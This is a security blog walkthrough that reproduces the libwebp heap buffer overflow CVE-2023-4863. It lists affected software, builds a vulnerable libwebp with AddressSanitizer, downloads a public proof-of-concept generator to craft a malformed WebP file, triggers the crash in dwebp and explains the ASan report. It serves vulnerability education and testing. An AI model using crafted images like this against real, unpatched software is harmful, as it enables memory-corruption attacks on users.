# Heap Buffer Overflow in libwebp in Google Chrome - CVE-2023-4863

<figure><img src="https://2451201392-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FSXlq8GYyAbVnvbRZogU3%2Fuploads%2FWMcNWmVJpTDf0kDW5gwX%2Fimage.png?alt=media&#x26;token=185069ef-1a77-4480-9954-ac962607ce0f" alt="" width="563"><figcaption><p><em>Image Source:</em> <a href="https://www.helpnetsecurity.com/2023/09/12/cve-2023-4863/"><em>https://www.helpnetsecurity.com/2023/09/12/cve-2023-4863/</em></a></p></figcaption></figure>

{% hint style="warning" %}
Use what I'm about to say in this article only for the right purposes, such as raising security awareness and improving the security posture of your environments. I do not accept any responsibility for other uses.
{% endhint %}

*WebP is an open-source image format developed by Google. WebP enables higher quality images in smaller file sizes. The libwebp package, released by Google, encodes and decodes images in WebP format and is used widely across the internet for lossless image compression.*

*The image parsing library libwebp is the core of the recently identified* [*CVE-2023-4863*](https://nvd.nist.gov/vuln/detail/CVE-2023-4863) *heap buffer overflow vulnerability and zero-day exploit that <mark style="color:yellow;">**impacts Google Chrome and other Chromium-based browsers for Windows, macOS, and Linux, as well as any software or web application that uses the libwebp library.**</mark> (Source:*[*https://www.upguard.com/blog/libwebp-cve-2023*](https://www.upguard.com/blog/libwebp-cve-2023)*)*

<figure><img src="https://2451201392-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FSXlq8GYyAbVnvbRZogU3%2Fuploads%2FMPZKOnRgE4wjAjg63jm6%2Fimage.png?alt=media&#x26;token=3f8cd607-ccb1-4cd2-a2c8-30557083d9ef" alt="" width="563"><figcaption><p><em>Image Source:</em> <a href="https://www.oligo.security/blog/critical-vulnerability-in-webp-libwebp-cve-2023-4863"><em>https://www.oligo.security/blog/critical-vulnerability-in-webp-libwebp-cve-2023-4863</em></a></p></figcaption></figure>

*<mark style="color:yellow;">**In Google Chrome, versions before**</mark>* *<mark style="color:yellow;">**116.0.5845.187**</mark>* and *<mark style="color:yellow;">**libwebp 1.3.2**</mark>* are affected by these vulnerabilities. Chromium security severity is Critical.

Since many applications use the webp library, many applications are affected by this vulnerability and the *<mark style="color:yellow;">**CVSS score is 8.8**</mark>*. Here are some apps that may be affected.

| **Category**         | **Products**                                                                                                                              |
| -------------------- | ----------------------------------------------------------------------------------------------------------------------------------------- |
| **Web Browsers**     | Google Chrome, Safari, Microsoft Edge, Mozilla Firefox, Tor, Beaker (web browser), GNOME Web, Midori, OhHai Browser, Pale Moon, SEOBrowse |
| **Social Media**     | Discord, Facebook, Instagram, Linked, Pinterest, Reddit, Telegram, Twitter, WhatsApp,                                                     |
| **Video Platforms**  | Lbry, Twitch, Vimeo, YouTube, YTMDesktop App                                                                                              |
| **Cloud Storage**    | Amazon Photos, Dropbox, Google Drive, Google Photos                                                                                       |
| **Ecommerce**        | Amazon, Ebay, Etsy, Shopify, WooCommerce                                                                                                  |
| **CMS**              | Drupal, Joomla, MediaWiki, WordPress                                                                                                      |
| **Email Services**   | Gmail                                                                                                                                     |
| **Forum Software**   | PHPBB, vBulletin, XenForo                                                                                                                 |
| **Photo Editing**    | GDAL, GIMP, Graphic Converter, ImageMagick, Paint.NET, Photoshop, Photoshop and Picasa, Pixelmator, XnView                                |
| **Game Engines**     | Godot Engine, Unreal Engine, Unity                                                                                                        |
| **Desktop Software** | 1Password, Basecamp 3, Bitwarden, Blender, Cryptocat (discontinued), Discord, Discord RPC Maker, Electron App Store (Unofficial), Etcher, |
| **Web Servers**      | Apache, IIS, nginx                                                                                                                        |
| **Major Companies**  | Facebook, Google, Slack, Wikimedia, WordPress.com                                                                                         |

*(List source:* [*https://www.cyberkendra.com/2023/09/webp-0day-google-assign-new-cve-for.html*](https://www.cyberkendra.com/2023/09/webp-0day-google-assign-new-cve-for.html)*)*

So let's perform the POC of this vulnerability.

Let's download the libwebp library from Google source.

```bash
git clone https://chromium.googlesource.com/webm/libwebp/ webp_test
```

<figure><img src="https://2451201392-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FSXlq8GYyAbVnvbRZogU3%2Fuploads%2F2LPDFpwFa9KGkjgtWbTw%2Fimage.png?alt=media&#x26;token=746b6d67-cab6-4020-b2f1-592bb756a373" alt=""><figcaption></figcaption></figure>

Let's go to the *<mark style="color:yellow;">**webp\_test**</mark>* folder.

```bash
cd webp_test
```

Then, let's move on to the relevant commit.

```bash
git checkout 7ba44f80f3b94fc0138db159afea770ef06532a0
```

<figure><img src="https://2451201392-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FSXlq8GYyAbVnvbRZogU3%2Fuploads%2Fj8DxGrIT1BX76yj2G72h%2Fimage.png?alt=media&#x26;token=f68dbe7e-23ab-4fb2-a0f9-81df5568fce8" alt=""><figcaption></figcaption></figure>

***Let's enable AddressSanitizer (ASan)***. This tool helps detect address corruption errors in C and C++ programs.

```bash
sed -i 's/^EXTRA_FLAGS=.*/& -fsanitize=address/' makefile.unix
```

Let's compile the *<mark style="color:yellow;">**makefile.unix**</mark>* file.

```bash
make -f makefile.unix
```

At this point you may encounter errors that some files are missing. I will show what I encountered in words and share the commands that will solve it.

<figure><img src="https://2451201392-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FSXlq8GYyAbVnvbRZogU3%2Fuploads%2F18AIloEnQCYQtgbOqj53%2Fimage.png?alt=media&#x26;token=61a9b941-3add-463a-bbf3-02affcc7461e" alt=""><figcaption></figcaption></figure>

Let's install *<mark style="color:yellow;">**libjpeg-dev**</mark>*.

```bash
sudo apt-get install libjpeg-dev
```

Then install *<mark style="color:yellow;">**libpng-dev**</mark>*

```bash
sudo apt-get install libpng-dev
```

Install the *<mark style="color:yellow;">**libtiff-dev.**</mark>*

```bash
sudo apt-get install libtiff-dev
```

Then, compile the *<mark style="color:yellow;">**makefile.unix**</mark>* file again.

```bash
make -f makefile.unix
```

<figure><img src="https://2451201392-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FSXlq8GYyAbVnvbRZogU3%2Fuploads%2FHKtehNGpUXURLrdD8Y9D%2Fimage.png?alt=media&#x26;token=71a14321-7f57-4e4c-b071-b26ce95f1923" alt=""><figcaption></figcaption></figure>

Then, go to the *<mark style="color:yellow;">**examples**</mark>* folder.

```bash
cd examples/
```

Let's download the C source code named *<mark style="color:yellow;">**craft.c**</mark>*.

```bash
wget https://raw.githubusercontent.com/mistymntncop/CVE-2023-4863/main/craft.c

```

<figure><img src="https://2451201392-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FSXlq8GYyAbVnvbRZogU3%2Fuploads%2F7dSUiWAkc5j0FD0aCAT2%2Fimage.png?alt=media&#x26;token=b200427f-24c1-4f67-8c78-6554d0850425" alt=""><figcaption></figcaption></figure>

Let's compile the C source code named craft.c. As a result of the compiled code, it will give us an output file named *<mark style="color:yellow;">**craft**</mark>*.

```bash
gcc -o craft craft.c
```

Let's give the bad.webp image as input to the craft file.

```bash
./craft bad.webp
```

Then let's run our last command.

```bash
./dwebp bad.webp -o test.png
```

Heap buffer overflow occurs exactly at this stage.

<figure><img src="https://2451201392-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FSXlq8GYyAbVnvbRZogU3%2Fuploads%2FwEHTeYrNoPnFHVhqSRqo%2Fimage.png?alt=media&#x26;token=00979e6c-a996-4752-9ebb-479489fd2ee3" alt=""><figcaption></figcaption></figure>

The output shows us that the dwebp program encountered a heap buffer overflow. This means that the program is trying to write data to a memory location that it is not allowed to access.  \
Our AddressSanitizer (ASan) debugger tool worked as we expected and informed us that heap buffer overflow had occurred.\
\&#xNAN;***The error occurs in the\*\*\*\*&#x20;**<mark style="color:yellow;">**BuildHuffmanTable**</mark>**&#x20;\*\*\*\*function, which is part of the WebP library.***

As we see in the error description, it occurs in the memory area at 0x626000002f28.&#x20;

```arduino
==78508==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x626000002f28 at pc 0x5589e8fad35a bp 0x7fff95d4c400 sp 0x7fff95d4c3f0
```

In the section below, we see the function that triggered the error. That is, the *<mark style="color:yellow;">**BuildHuffmanTable**</mark>* function. ​

```javascript
#0 0x5589e8fad359 in BuildHuffmanTable (/home/ali/webp_test/examples/dwebp+0xb6359)
```

AddressSanitizer uses Shadow Bytes when doing this debugging. Shadow Bytes can basically be thought of as a copy of the real memory, and when an error occurs, AddressSanitizer works on shadow bytes and carries information about the values of the relevant address blocks in memory at the time the error occurred.

```
Shadow bytes around the buggy address:
  0x0c4c7fff8590: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c4c7fff85a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c4c7fff85b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c4c7fff85c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c4c7fff85d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0c4c7fff85e0: 00 00 00 00 00[fa]fa fa fa fa fa fa fa fa fa fa
  0x0c4c7fff85f0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c4c7fff8600: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c4c7fff8610: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c4c7fff8620: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c4c7fff8630: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa

```

### Sources

-><https://github.com/bbaranoff/CVE-2023-4863>\
-><https://github.com/mistymntncop/CVE-2023-4863/blob/main/bad.webp>\
->[*https://www.upguard.com/blog/libwebp-cve-2023*](https://www.upguard.com/blog/libwebp-cve-2023)\
*->*[*https://www.cyberkendra.com/2023/09/webp-0day-google-assign-new-cve-for.html*](https://www.cyberkendra.com/2023/09/webp-0day-google-assign-new-cve-for.html)